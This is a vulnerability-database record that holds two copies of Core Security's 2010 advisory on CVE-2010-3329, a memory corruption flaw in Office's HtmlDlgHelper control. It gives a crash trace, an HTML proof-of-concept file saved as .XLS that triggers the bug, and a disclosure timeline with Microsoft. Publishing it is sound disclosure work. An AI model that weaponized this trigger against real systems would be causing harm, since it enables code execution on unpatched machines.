{"packetstorm": [{"lastseen": "2016-12-05T22:12:01", "description": "", "cvss3": {}, "published": "2010-10-15T00:00:00", "type": "packetstorm", "title": "Core Security Technologies Advisory 2010.0517", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2010-3329"], "modified": "2010-10-15T00:00:00", "id": "PACKETSTORM:94815", "href": "https://packetstormsecurity.com/files/94815/Core-Security-Technologies-Advisory-2010.0517.html", "sourceData": "` Core Security Technologies - CoreLabs Advisory \nhttp://corelabs.coresecurity.com \n \nMicrosoft Office HtmlDlgHelper class memory corruption \n \n \n1. *Advisory Information* \n \nTitle: Microsoft Office HtmlDlgHelper class memory corruption \nAdvisory Id: CORE-2010-0517 \nAdvisory URL: \n[http://www.coresecurity.com/content/MS-Office-HtmlDlgHelper-memory-corruption] \nDate published: 2010-10-12 \nDate of last update: 2010-10-14 \nVendors contacted: Microsoft \nRelease mode: Coordinated release \n \n \n2. *Vulnerability Information* \n \nClass: Missing Initialization [CWE-456] \nImpact: Code execution \nRemotely Exploitable: Yes \nLocally Exploitable: No \nCVE Name: CVE-2010-3329 \nBugtraq ID: N/A \n \n \n3. *Vulnerability Description* \n \nMicrosoft Windows is prone to a memory corruption vulnerability when \ninstantiating the 'HtmlDlgHelper Class Object' in a Microsoft Office \nDocument (ie: .XLS, .DOC). The affected vulnerable module is part of \nInternet Explorer ('mshtmled.dll'). This vulnerability could be used by \na remote attacker to execute arbitrary code with the privileges of the \nuser that opened the malicious file. \n \n \n4. *Vulnerable packages* \n \n. IE 6 \n. IE 7 \n. IE 8 \n. MS Office XP \n. MS Office 2003 \n. MS Office 2007 and MS Office 2010 (the control is disabled by default) \n \n \n5. *Non-vulnerable packages* \n \n. For further information and patches about this issue look at the \nMicrosoft Security Bulletin Summary for October 2010 [1], patch ms10-071. \n \n \n6. *Credits* \n \nThis vulnerability was discovered by Damian Frizza from Core Security \nTechnologies. \n \n \n7. *Technical Description / Proof of Concept Code* \n \nMicrosoft Windows is prone to a memory corruption vulnerability when \ninstantiating the 'HtmlDlgHelper Class Object' \n('CLASSID:3050f4e1-98b5-11cf-bb82-00aa00bdce0b') in a Microsoft Office \nDocument (ie: .XLS, .DOC). The affected vulnerable module is part of \nInternet Explorer ('mshtmled.dll'). The vulnerability occurs in \n'mshtmled.dll' when the destructor of the 'CHtmlDlgHelper' class is \ncalled and then makes access to uninitialized memory. \n \nThe ActiveX control is marked as \"Not Safe for Initialization\", and \nprompts the user with: \"ActiveX controls might contain viruses or other \nsecurity hazards. Do not enable this content unless you trust the source \nof this file\". However, in Office 2003 the bug is triggered even if the \nuser answers \"No\" to the prompt. \n \nThe following code is where the vulnerability occurs, when opening a \n.XLS document on Microsoft Office Excel 2003 ('mshtmled.dll' \nv8.0.6001.18702): \n \n/----- \nmshtmled!ReleaseInterface: \n42b919c0 8bff mov edi,edi \n42b919c2 55 push ebp \n42b919c3 8bec mov ebp,esp \n42b919c5 8b4508 mov eax,dword ptr [ebp+8] \nss:0023:0013d104=00310065 \n42b919c8 85c0 test eax,eax \n42b919ca 7406 je mshtmled!ReleaseInterface+0x12 \n(42b919d2) [br=0] \n42b919cc 8b08 mov ecx,dword ptr [eax] ds:0023:00310065 \n42b919ce 50 push eax \n42b919cf ff5108 call dword ptr [ecx+8] \nds:0023:7d02029c=2a2c277a \n \neax=00310065 ebx=00000000 ecx=7d020294 edx=df0b3d60 esi=001edbdc \nedi=00000000 \neip=2a2c277a esp=0013d0f4 ebp=0013d0fc iopl=0 nv up ei pl nz na \npe nc \ncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 \nefl=00000206 \n \nStack Trace: \n<Unloaded_ion.dll>+0x2a2c2779 \nmshtmled!ReleaseInterface+0x12 \nmshtmled!CHtmlDlgHelper::~CHtmlDlgHelper+0x10 \nmshtmled!ATL::CComAggObject<CHtmlDlgHelper>::`scalar deleting \ndestructor'+0xd \nmshtmled!ATL::CComAggObject<CHtmlDlgHelper>::Release+0x27 \nVBE6!rtcStrConvVar+0xbd65 \nVBE6!rtcSetDatabaseLcid+0xa823 \nEXCEL!Ordinal41+0xd2ad0 \nEXCEL!Ordinal41+0x14082a \nUSER32!CallWindowProcW+0x1b \nInstruction Address: 0x000000002a2c277a \n-----/ \n \n \nThe following html code demonstrates the bug on Excel 2002/2003. Save \nthe file as .XLS and open it on Excel. \n \n/----- \n<html xmlns:v=\"urn:schemas-microsoft-com:vml\" \nxmlns:o=\"urn:schemas-microsoft-com:office:office\" \nxmlns:x=\"urn:schemas-microsoft-com:office:excel\"> \n \n<head> \n<meta http-equiv=Content-Type content=\"text/html; charset=windows-1252\"> \n<meta name=ProgId content=Excel.Sheet> \n<meta name=Generator content=\"Microsoft Excel 10\"> \n<!--[if !mso]> \n<style> \nv\\:* {behavior:url(#default#VML);} \no\\:* {behavior:url(#default#VML);} \nx\\:* {behavior:url(#default#VML);} \n.shape {behavior:url(#default#VML);} \n</style> \n<![endif]--><!--[if gte mso 9]><xml> \n<o:DocumentProperties> \n<o:LastAuthor>TEST</o:LastAuthor> \n<o:LastSaved>2010-08-03T05:19:51Z</o:LastSaved> \n<o:Version>10.6858</o:Version> \n</o:DocumentProperties> \n<o:OfficeDocumentSettings> \n<o:DownloadComponents/> \n</o:OfficeDocumentSettings> \n</xml><![endif]--> \n \n<!--[if gte mso 9]><xml> \n<x:ExcelWorkbook> \n<x:ExcelWorksheets> \n<x:ExcelWorksheet> \n<x:Name>test</x:Name> \n<x:WorksheetOptions> \n<x:CodeName>Sheet1</x:CodeName> \n<x:Selected/> \n<x:DoNotDisplayGridlines/> \n<x:ProtectContents>False</x:ProtectContents> \n<x:ProtectObjects>False</x:ProtectObjects> \n<x:ProtectScenarios>False</x:ProtectScenarios> \n</x:WorksheetOptions> \n</x:ExcelWorksheet> \n</x:ExcelWorksheets> \n<x:WindowHeight>9345</x:WindowHeight> \n<x:WindowWidth>13260</x:WindowWidth> \n<x:WindowTopX>240</x:WindowTopX> \n<x:WindowTopY>60</x:WindowTopY> \n<x:ProtectStructure>False</x:ProtectStructure> \n<x:ProtectWindows>False</x:ProtectWindows> \n</x:ExcelWorkbook> \n</xml><![endif]--><!--[if gte mso 9]><xml> \n<o:shapedefaults v:ext=\"edit\" spidmax=\"1026\"/> \n</xml><![endif]--><!--[if gte mso 9]><xml> \n<o:shapelayout v:ext=\"edit\"> \n<o:idmap v:ext=\"edit\" data=\"1\"/> \n</o:shapelayout></xml><![endif]--> \n</head> \n \n<body link=blue vlink=purple> \n \n<table x:str border=0 cellpadding=0 cellspacing=0 width=64 \nstyle='border-collapse: \ncollapse;table-layout:fixed;width:48pt'> \n<col width=64 style='width:48pt'> \n<tr height=17 style='height:12.75pt'> \n<td height=17 width=64 style='height:12.75pt;width:48pt' align=left \nvalign=top><!--[if gte vml 1]><v:shapetype id=\"_x0000_t201\" \ncoordsize=\"21600,21600\" \no:spt=\"201\" path=\"m,l,21600r21600,l21600,xe\"> \n<v:stroke joinstyle=\"miter\"/> \n<v:path shadowok=\"f\" o:extrusionok=\"f\" strokeok=\"f\" fillok=\"f\" \no:connecttype=\"rect\"/> \n<o:lock v:ext=\"edit\" shapetype=\"t\"/> \n</v:shapetype><v:shape id=\"_x0000_s1025\" type=\"#_x0000_t201\" \nstyle='position:absolute; \nmargin-left:0;margin-top:0;width:48pt;height:12.75pt;z-index:1' \nstrokecolor=\"windowText [64]\" o:insetmode=\"auto\"> \n<![if gte mso 9]><o:title=\"\"/> \n<![endif]><x:ClientData ObjectType=\"Pict\"> \n<x:SizeWithCells/> \n<x:CF>Pict</x:CF> \n<x:AutoPict/> \n</x:ClientData> \n</v:shape><![endif]--><![if !vml]><span style='mso-ignore:vglayout; \nposition:absolute;z-index:1;margin-left:0px;margin-top:0px;width:64px; \nheight:17px'><![endif]> \n \n<object classid=\"CLSID:3050F4E1-98B5-11CF-BB82-00AA00BDCE0B\" \nid=obj></object> \n \n<![if !vml]></span><![endif]><span \nstyle='mso-ignore:vglayout2'> \n<table cellpadding=0 cellspacing=0> \n<tr> \n<td height=17 width=64 style='height:12.75pt;width:48pt'></td> \n</tr> \n</table> \n</span></td> \n</tr> \n<![if supportMisalignedColumns]> \n<tr height=0 style='display:none'> \n<td width=64 style='width:48pt'></td> \n</tr> \n<![endif]> \n</table> \n</body> \n</html> \n \n-----/ \n \n \nThis exploitable condition was reproduced in the following versions of \n'mshtmled.dll': \n \n. 'mshtmled.dll' v8.0.6001.18702 \n. 'mshtmled.dll' v8.0.6001.18000 \n. 'mshtmled.dll' v7.0.6000.17023 \n. 'mshtmled.dll' v7.0.6000.17080 \n \n \n8. *Report Timeline* \n \n. 2010-05-28: \nInitial notification to the vendor. Draft advisory and proof-of-concept \nfiles sent to MSRC. Publication date set for July 13, 2010. \n \n. 2010-06-11: \nCore requests from the vendor an update on the status of this case. \n \n. 2010-06-14: \nThe vendor responds that its engineers are still investigating this \nissue; and that they expect to have more information from the \ninvestigation and triage process within the next few days. \n \n. 2010-06-15: \nThe vendors informs that they have been determined that the ActiveX \ncontrol is marked as \"Not Safe for Initialization\"; and prompts the user \nwith a dialog that warns the user that they are going to be executing a \npotentially malicious code. In consequence, the vendor treats this case \nas the same scenario as a user that tries to enable and open an Office \ndocument with a Macro or VBA code contained within. \n \n. 2010-06-15: \nCore asks the vendor if the previous mail means that it does not intent \nto fix the bug or that it does not recognize it as a security issue. The \nreporter's viewpoint is that a dialog prompt is not a fix \"per se\" and \njust a defense in depth mechanism; and that he would prefer to see the \nbug fixed rather than relying on mitigations that prevent exploitation. \n \n. 2010-06-15: \nCore adds the following information: in Office 2003 even if the user \nanswers No to the ActiveX dialog, the application ends up crashing. \n \n. 2010-06-16: \nVendor responds that it is currently investigating the new information. \n \n. 2010-06-28: \nVendor informs that it has found that the vulnerable code actually \nexists and is owned by the IE team whom is currently investigating the \ncrash; and that this case is transferred over to them (and to a new case \nmanager as well). \n \n. 2010-07-02: \nVendor informs Core that the IE team has finished the investigation into \nthis issue and was able to reproduce the issue reported. During the \ninvestigation it was determined that this is an exploitable crash in \nInternet Explorer. Vendor will send Core the list of affected Internet \nExplorer versions when available. \n \n. 2010-07-02: \nCore acknowledges receipt of the update, and reminds that although the \nvulnerable code is owned by the IE team this also affects Office \n(including 2010). Core offers to postpone publication of its advisory \nfrom July 13th to August 10th on the basis of a firm commitment to a \nrelease date from the vendor's side. Core informs that it is evaluating \nthe possibility of using Office killbit recently introduced by MS10-036 \nas a workaround, but that MS10-036 points to a knowledge base article \n[2] that is no longer available. \n \n. 2010-07-07: \nVendor acknowledges previous mail, and states that it will determine \nwith the product team how this fix could be included in the August \nrelease. Vendor requests an updated version of the advisory, and to \ninclude a vendor statement. \n \n. 2010-07-22: \nCore requests an update on the status of the vulnerability report; and \ninforms that publication of its advisory has been rescheduled to August \n10, 2010, despite the fact that Core did not receive any updates. Core \ninforms that the publication of this advisory is transferred to a new \ncase manager. \n \n. 2010-08-04: \nCore sends an updated version of the advisory and also asks if MSRC can \nprovide: \n1. The list of affected software versions. \n2. The CVE number assigned to this vulnerability (if it exists). \n3. The steps to reproduce the vulnerability in IE [3]. \n4. The link to the knowledge base article about the newly introduced \nOffice killbit given that Core is investigating using that defense \nmechanism as a workaround but MS10-036 points to a knowledge base \narticle that is no longer available \n([http://support.microsoft.com/kb/983632]). \n \nCore also notifies this advisory is currently scheduled to be published \non August 10, 2010 but the publication can be reviewed if Microsoft \nresponds with a firm commitment to a release date of fixes, and \ntechnical information about the root cause of this vulnerability. \n \n. 2010-08-04: \nMSRC responds that the updated advisory draft was internally forwarded \nand they are working on collecting answers to the requested questions. \n \n. 2010-08-05: \nMSRC sends the answers to the asked questions: \n1. The affected versions of Internet Explorer are IE6 [4], IE7 and IE8. \n2. MSRC is unable to assign a CVE as it is too early. CVEs are \ntypically assigned closer to the scheduled release date and MSRC will \nreceive the block of CVEs from Mitre for the October release of the \nInternet Explorer security update. \n3. MSRC notifies there is no attack vector in IE, and they cannot \nprovide steps to reproduce the vulnerability in IE. \n4. The knowledge base article about the newly introduced Office \nkillbit was redirected to [http://support.microsoft.com/kb/2252664]. \n \n. 2010-08-06: \nCore asks MSRC to clarify if the fix for this issue has been scheduled \nto be released in October. \n \n. 2010-08-06: \nMSRC confirms that the fix for this issue is scheduled for the October \nrelease of IE. \n \n. 2010-08-09: \nCore re-schedules the publication of the advisory for October 12 and \nnotifies that this date should be considered as final, if Microsoft does \nnot release fixes on that date, the advisory will be released as 'user \nrelease'. \n \n. 2010-08-09: \nMSRC confirms that the fix for this issue is scheduled for the October \nrelease of IE. \n \n. 2010-10-01: \nMSRC provides a status update about this issue and notifies that it is \nslated to be included in the October release of the IE Cumulative Update \nand SafeHTML update scheduled for October 12, 2010. MSRC also notifies \nthat the CVE assigned to this issue is CVE-2010-3329. \n \n. 2010-10-01: \nMSRC notifies that they have made a mistake and included an invalid \ndetail in the last status update. In particular, the issue does not \naffect the SafeHTML update scheduled for October but it will be shipping \nin the IE Cumulative Update scheduled for October. \n \n. 2010-10-01: \nCore acknowledges the MSRC's e-mail and notifies that although the \nproblem is located in IE-owned code, the problem also affects Office up \nto 2010. Core assumes this will be specified in the MSRC bulletin and \nasks for confirmation. \n \n. 2010-10-04: \nMSRC confirms that the description of the vulnerability calls out that \nthe vector to the vulnerability is through opening a word document. \n \n. 2010-10-12: \nAdvisory CORE-2010-0517 is published. \n \n \n9. *References* \n \n[1] Microsoft security bulletin summary for October 2010 - \n[http://www.microsoft.com/technet/security/bulletin/ms10-oct.mspx]. \n[2] Office killbit [http://support.microsoft.com/kb/983632]. \n[3] This bug was originally investigated in Microsoft Office by Core, \nbut MSRC determined [2010-07-02] that this bug is an exploitable crash \nin Internet Explorer. \n[4] MSRC was not able to reproduce this issue on IE6, however they \nnotifies the code has been determined to exist in this version and the \nfix will be scoped to address this platform as well. \n \n \n10. *About CoreLabs* \n \nCoreLabs, the research center of Core Security Technologies, is charged \nwith anticipating the future needs and requirements for information \nsecurity technologies. We conduct our research in several important \nareas of computer security including system vulnerabilities, cyber \nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of \nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers, \nproject information and shared software tools for public use at: \n[http://corelabs.coresecurity.com/]. \n \n \n11. *About Core Security Technologies* \n \nCore Security Technologies develops strategic solutions that help \nsecurity-conscious organizations worldwide develop and maintain a \nproactive process for securing their networks. The company's flagship \nproduct, CORE IMPACT, is the most comprehensive product for performing \nenterprise security assurance testing. CORE IMPACT evaluates network, \nendpoint and end-user vulnerabilities and identifies what resources are \nexposed. It enables organizations to determine if current security \ninvestments are detecting and preventing attacks. Core Security \nTechnologies augments its leading technology solution with world-class \nsecurity consulting services, including penetration testing and software \nsecurity auditing. Based in Boston, MA and Buenos Aires, Argentina, Core \nSecurity Technologies can be reached at 617-399-6980 or on the Web at \n[http://www.coresecurity.com]. \n \n \n12. *Disclaimer* \n \nThe contents of this advisory are copyright (c) 2010 Core Security \nTechnologies and (c) 2010 CoreLabs, and are licensed under a Creative \nCommons Attribution Non-Commercial Share-Alike 3.0 (United States) \nLicense: [http://creativecommons.org/licenses/by-nc-sa/3.0/us/] \n \n \n13. *PGP/GPG Keys* \n \nThis advisory has been signed with the GPG key of Core Security \nTechnologies advisories team, which is available for download at \n[http://www.coresecurity.com/files/attachments/core_security_advisories.asc]. \n \n \n \n`\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/94815/CORE-2010-0517.txt"}], "exploitpack": [{"lastseen": "2020-04-01T19:04:32", "description": "\nMicrosoft Office - HtmlDlgHelper Class Memory Corruption (MS10-071)", "cvss3": {}, "published": "2010-10-16T00:00:00", "type": "exploitpack", "title": "Microsoft Office - HtmlDlgHelper Class Memory Corruption (MS10-071)", "bulletinFamily": "exploit", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-3329"], "modified": "2010-10-16T00:00:00", "id": "EXPLOITPACK:33AAE8F01A606FEF492A3296C19EC99F", "href": "", "sourceData": "Core Security Technologies - CoreLabs Advisory\n http://corelabs.coresecurity.com\n\n Microsoft Office HtmlDlgHelper class memory corruption\n\n\n1. *Advisory Information*\n\nTitle: Microsoft Office HtmlDlgHelper class memory corruption\nAdvisory Id: CORE-2010-0517\nAdvisory URL:\n[http://www.coresecurity.com/content/MS-Office-HtmlDlgHelper-memory-corruption]\nDate published: 2010-10-12\nDate of last update: 2010-10-14\nVendors contacted: Microsoft\nRelease mode: Coordinated release\n\n\n2. *Vulnerability Information*\n\nClass: Missing Initialization [CWE-456]\nImpact: Code execution\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2010-3329\nBugtraq ID: N/A\n\n\n3. *Vulnerability Description*\n\nMicrosoft Windows is prone to a memory corruption vulnerability when\ninstantiating the 'HtmlDlgHelper Class Object' in a Microsoft Office\nDocument (ie: .XLS, .DOC). The affected vulnerable module is part of\nInternet Explorer ('mshtmled.dll'). This vulnerability could be used by\na remote attacker to execute arbitrary code with the privileges of the\nuser that opened the malicious file.\n\n\n4. *Vulnerable packages*\n\n . IE 6\n . IE 7\n . IE 8\n . MS Office XP\n . MS Office 2003\n . MS Office 2007 and MS Office 2010 (the control is disabled by default)\n\n\n5. *Non-vulnerable packages*\n\n . For further information and patches about this issue look at the\nMicrosoft Security Bulletin Summary for October 2010 [1], patch ms10-071.\n\n\n6. *Credits*\n\nThis vulnerability was discovered by Damian Frizza from Core Security\nTechnologies.\n\n\n7. *Technical Description / Proof of Concept Code*\n\nMicrosoft Windows is prone to a memory corruption vulnerability when\ninstantiating the 'HtmlDlgHelper Class Object'\n('CLASSID:3050f4e1-98b5-11cf-bb82-00aa00bdce0b') in a Microsoft Office\nDocument (ie: .XLS, .DOC). The affected vulnerable module is part of\nInternet Explorer ('mshtmled.dll'). The vulnerability occurs in\n'mshtmled.dll' when the destructor of the 'CHtmlDlgHelper' class is\ncalled and then makes access to uninitialized memory.\n\nThe ActiveX control is marked as \"Not Safe for Initialization\", and\nprompts the user with: \"ActiveX controls might contain viruses or other\nsecurity hazards. Do not enable this content unless you trust the source\nof this file\". However, in Office 2003 the bug is triggered even if the\nuser answers \"No\" to the prompt.\n\nThe following code is where the vulnerability occurs, when opening a\n.XLS document on Microsoft Office Excel 2003 ('mshtmled.dll'\nv8.0.6001.18702):\n\n/-----\nmshtmled!ReleaseInterface:\n42b919c0 8bff mov edi,edi\n42b919c2 55 push ebp\n42b919c3 8bec mov ebp,esp\n42b919c5 8b4508 mov eax,dword ptr [ebp+8]\nss:0023:0013d104=00310065\n42b919c8 85c0 test eax,eax\n42b919ca 7406 je mshtmled!ReleaseInterface+0x12\n(42b919d2) [br=0]\n42b919cc 8b08 mov ecx,dword ptr [eax] ds:0023:00310065\n42b919ce 50 push eax\n42b919cf ff5108 call dword ptr [ecx+8] \nds:0023:7d02029c=2a2c277a\n\neax=00310065 ebx=00000000 ecx=7d020294 edx=df0b3d60 esi=001edbdc\nedi=00000000\neip=2a2c277a esp=0013d0f4 ebp=0013d0fc iopl=0 nv up ei pl nz na\npe nc\ncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 \nefl=00000206\n\nStack Trace:\n<Unloaded_ion.dll>+0x2a2c2779\nmshtmled!ReleaseInterface+0x12\nmshtmled!CHtmlDlgHelper::~CHtmlDlgHelper+0x10\nmshtmled!ATL::CComAggObject<CHtmlDlgHelper>::`scalar deleting\ndestructor'+0xd\nmshtmled!ATL::CComAggObject<CHtmlDlgHelper>::Release+0x27\nVBE6!rtcStrConvVar+0xbd65\nVBE6!rtcSetDatabaseLcid+0xa823\nEXCEL!Ordinal41+0xd2ad0\nEXCEL!Ordinal41+0x14082a\nUSER32!CallWindowProcW+0x1b\nInstruction Address: 0x000000002a2c277a\n-----/\n\n\nThe following html code demonstrates the bug on Excel 2002/2003. Save\nthe file as .XLS and open it on Excel.\n\n/-----\n<html xmlns:v=\"urn:schemas-microsoft-com:vml\"\nxmlns:o=\"urn:schemas-microsoft-com:office:office\"\nxmlns:x=\"urn:schemas-microsoft-com:office:excel\">\n\n<head>\n<meta http-equiv=Content-Type content=\"text/html; charset=windows-1252\">\n<meta name=ProgId content=Excel.Sheet>\n<meta name=Generator content=\"Microsoft Excel 10\">\n<!--[if !mso]>\n<style>\nv\\:* {behavior:url(#default#VML);}\no\\:* {behavior:url(#default#VML);}\nx\\:* {behavior:url(#default#VML);}\n.shape {behavior:url(#default#VML);}\n</style>\n<![endif]--><!--[if gte mso 9]><xml>\n <o:DocumentProperties>\n <o:LastAuthor>TEST</o:LastAuthor>\n <o:LastSaved>2010-08-03T05:19:51Z</o:LastSaved>\n <o:Version>10.6858</o:Version>\n </o:DocumentProperties>\n <o:OfficeDocumentSettings>\n <o:DownloadComponents/>\n </o:OfficeDocumentSettings>\n</xml><![endif]-->\n\n<!--[if gte mso 9]><xml>\n <x:ExcelWorkbook>\n <x:ExcelWorksheets>\n <x:ExcelWorksheet>\n <x:Name>test</x:Name>\n <x:WorksheetOptions>\n <x:CodeName>Sheet1</x:CodeName>\n <x:Selected/>\n <x:DoNotDisplayGridlines/>\n <x:ProtectContents>False</x:ProtectContents>\n <x:ProtectObjects>False</x:ProtectObjects>\n <x:ProtectScenarios>False</x:ProtectScenarios>\n </x:WorksheetOptions>\n </x:ExcelWorksheet>\n </x:ExcelWorksheets>\n <x:WindowHeight>9345</x:WindowHeight>\n <x:WindowWidth>13260</x:WindowWidth>\n <x:WindowTopX>240</x:WindowTopX>\n <x:WindowTopY>60</x:WindowTopY>\n <x:ProtectStructure>False</x:ProtectStructure>\n <x:ProtectWindows>False</x:ProtectWindows>\n </x:ExcelWorkbook>\n</xml><![endif]--><!--[if gte mso 9]><xml>\n <o:shapedefaults v:ext=\"edit\" spidmax=\"1026\"/>\n</xml><![endif]--><!--[if gte mso 9]><xml>\n <o:shapelayout v:ext=\"edit\">\n <o:idmap v:ext=\"edit\" data=\"1\"/>\n </o:shapelayout></xml><![endif]-->\n</head>\n\n<body link=blue vlink=purple>\n\n<table x:str border=0 cellpadding=0 cellspacing=0 width=64\nstyle='border-collapse:\n collapse;table-layout:fixed;width:48pt'>\n <col width=64 style='width:48pt'>\n <tr height=17 style='height:12.75pt'>\n <td height=17 width=64 style='height:12.75pt;width:48pt' align=left\n valign=top><!--[if gte vml 1]><v:shapetype id=\"_x0000_t201\"\ncoordsize=\"21600,21600\"\n o:spt=\"201\" path=\"m,l,21600r21600,l21600,xe\">\n <v:stroke joinstyle=\"miter\"/>\n <v:path shadowok=\"f\" o:extrusionok=\"f\" strokeok=\"f\" fillok=\"f\"\n o:connecttype=\"rect\"/>\n <o:lock v:ext=\"edit\" shapetype=\"t\"/>\n </v:shapetype><v:shape id=\"_x0000_s1025\" type=\"#_x0000_t201\"\nstyle='position:absolute;\n margin-left:0;margin-top:0;width:48pt;height:12.75pt;z-index:1'\n strokecolor=\"windowText [64]\" o:insetmode=\"auto\">\n <![if gte mso 9]><o:title=\"\"/>\n <![endif]><x:ClientData ObjectType=\"Pict\">\n <x:SizeWithCells/>\n <x:CF>Pict</x:CF>\n <x:AutoPict/>\n </x:ClientData>\n </v:shape><![endif]--><![if !vml]><span style='mso-ignore:vglayout;\n position:absolute;z-index:1;margin-left:0px;margin-top:0px;width:64px;\n height:17px'><![endif]>\n\n<object classid=\"CLSID:3050F4E1-98B5-11CF-BB82-00AA00BDCE0B\"\nid=obj></object>\n\n<![if !vml]></span><![endif]><span\n style='mso-ignore:vglayout2'>\n <table cellpadding=0 cellspacing=0>\n <tr>\n <td height=17 width=64 style='height:12.75pt;width:48pt'></td>\n </tr>\n </table>\n </span></td>\n </tr>\n <![if supportMisalignedColumns]>\n <tr height=0 style='display:none'>\n <td width=64 style='width:48pt'></td>\n </tr>\n <![endif]>\n</table>\n</body>\n</html>\n\n-----/\n\n\nThis exploitable condition was reproduced in the following versions of\n'mshtmled.dll':\n\n . 'mshtmled.dll' v8.0.6001.18702\n . 'mshtmled.dll' v8.0.6001.18000\n . 'mshtmled.dll' v7.0.6000.17023\n . 'mshtmled.dll' v7.0.6000.17080\n\n\n8. *Report Timeline*\n\n. 2010-05-28:\nInitial notification to the vendor. Draft advisory and proof-of-concept\nfiles sent to MSRC. Publication date set for July 13, 2010.\n\n. 2010-06-11:\nCore requests from the vendor an update on the status of this case.\n\n. 2010-06-14:\nThe vendor responds that its engineers are still investigating this\nissue; and that they expect to have more information from the\ninvestigation and triage process within the next few days.\n\n. 2010-06-15:\nThe vendors informs that they have been determined that the ActiveX\ncontrol is marked as \"Not Safe for Initialization\"; and prompts the user\nwith a dialog that warns the user that they are going to be executing a\npotentially malicious code. In consequence, the vendor treats this case\nas the same scenario as a user that tries to enable and open an Office\ndocument with a Macro or VBA code contained within.\n\n. 2010-06-15:\nCore asks the vendor if the previous mail means that it does not intent\nto fix the bug or that it does not recognize it as a security issue. The\nreporter's viewpoint is that a dialog prompt is not a fix \"per se\" and\njust a defense in depth mechanism; and that he would prefer to see the\nbug fixed rather than relying on mitigations that prevent exploitation.\n\n. 2010-06-15:\nCore adds the following information: in Office 2003 even if the user\nanswers No to the ActiveX dialog, the application ends up crashing.\n\n. 2010-06-16:\nVendor responds that it is currently investigating the new information.\n\n. 2010-06-28:\nVendor informs that it has found that the vulnerable code actually\nexists and is owned by the IE team whom is currently investigating the\ncrash; and that this case is transferred over to them (and to a new case\nmanager as well).\n\n. 2010-07-02:\nVendor informs Core that the IE team has finished the investigation into\nthis issue and was able to reproduce the issue reported. During the\ninvestigation it was determined that this is an exploitable crash in\nInternet Explorer. Vendor will send Core the list of affected Internet\nExplorer versions when available.\n\n. 2010-07-02:\nCore acknowledges receipt of the update, and reminds that although the\nvulnerable code is owned by the IE team this also affects Office\n(including 2010). Core offers to postpone publication of its advisory\nfrom July 13th to August 10th on the basis of a firm commitment to a\nrelease date from the vendor's side. Core informs that it is evaluating\nthe possibility of using Office killbit recently introduced by MS10-036\nas a workaround, but that MS10-036 points to a knowledge base article\n[2] that is no longer available.\n\n. 2010-07-07:\nVendor acknowledges previous mail, and states that it will determine\nwith the product team how this fix could be included in the August\nrelease. Vendor requests an updated version of the advisory, and to\ninclude a vendor statement.\n\n. 2010-07-22:\nCore requests an update on the status of the vulnerability report; and\ninforms that publication of its advisory has been rescheduled to August\n10, 2010, despite the fact that Core did not receive any updates. Core\ninforms that the publication of this advisory is transferred to a new\ncase manager.\n\n. 2010-08-04:\nCore sends an updated version of the advisory and also asks if MSRC can\nprovide:\n 1. The list of affected software versions.\n 2. The CVE number assigned to this vulnerability (if it exists).\n 3. The steps to reproduce the vulnerability in IE [3].\n 4. The link to the knowledge base article about the newly introduced\nOffice killbit given that Core is investigating using that defense\nmechanism as a workaround but MS10-036 points to a knowledge base\narticle that is no longer available\n([http://support.microsoft.com/kb/983632]).\n\n Core also notifies this advisory is currently scheduled to be published\non August 10, 2010 but the publication can be reviewed if Microsoft\nresponds with a firm commitment to a release date of fixes, and\ntechnical information about the root cause of this vulnerability.\n\n. 2010-08-04:\nMSRC responds that the updated advisory draft was internally forwarded\nand they are working on collecting answers to the requested questions.\n\n. 2010-08-05:\nMSRC sends the answers to the asked questions:\n 1. The affected versions of Internet Explorer are IE6 [4], IE7 and IE8.\n 2. MSRC is unable to assign a CVE as it is too early. CVEs are\ntypically assigned closer to the scheduled release date and MSRC will\nreceive the block of CVEs from Mitre for the October release of the\nInternet Explorer security update.\n 3. MSRC notifies there is no attack vector in IE, and they cannot\nprovide steps to reproduce the vulnerability in IE.\n 4. The knowledge base article about the newly introduced Office\nkillbit was redirected to [http://support.microsoft.com/kb/2252664].\n\n. 2010-08-06:\nCore asks MSRC to clarify if the fix for this issue has been scheduled\nto be released in October.\n\n. 2010-08-06:\nMSRC confirms that the fix for this issue is scheduled for the October\nrelease of IE.\n\n. 2010-08-09:\nCore re-schedules the publication of the advisory for October 12 and\nnotifies that this date should be considered as final, if Microsoft does\nnot release fixes on that date, the advisory will be released as 'user\nrelease'.\n\n. 2010-08-09:\nMSRC confirms that the fix for this issue is scheduled for the October\nrelease of IE.\n\n. 2010-10-01:\nMSRC provides a status update about this issue and notifies that it is\nslated to be included in the October release of the IE Cumulative Update\nand SafeHTML update scheduled for October 12, 2010. MSRC also notifies\nthat the CVE assigned to this issue is CVE-2010-3329.\n\n. 2010-10-01:\nMSRC notifies that they have made a mistake and included an invalid\ndetail in the last status update. In particular, the issue does not\naffect the SafeHTML update scheduled for October but it will be shipping\nin the IE Cumulative Update scheduled for October.\n\n. 2010-10-01:\nCore acknowledges the MSRC's e-mail and notifies that although the\nproblem is located in IE-owned code, the problem also affects Office up\nto 2010. Core assumes this will be specified in the MSRC bulletin and\nasks for confirmation.\n\n. 2010-10-04:\nMSRC confirms that the description of the vulnerability calls out that\nthe vector to the vulnerability is through opening a word document.\n\n. 2010-10-12:\nAdvisory CORE-2010-0517 is published.\n\n\n9. *References*\n\n[1] Microsoft security bulletin summary for October 2010 -\n[http://www.microsoft.com/technet/security/bulletin/ms10-oct.mspx].\n[2] Office killbit 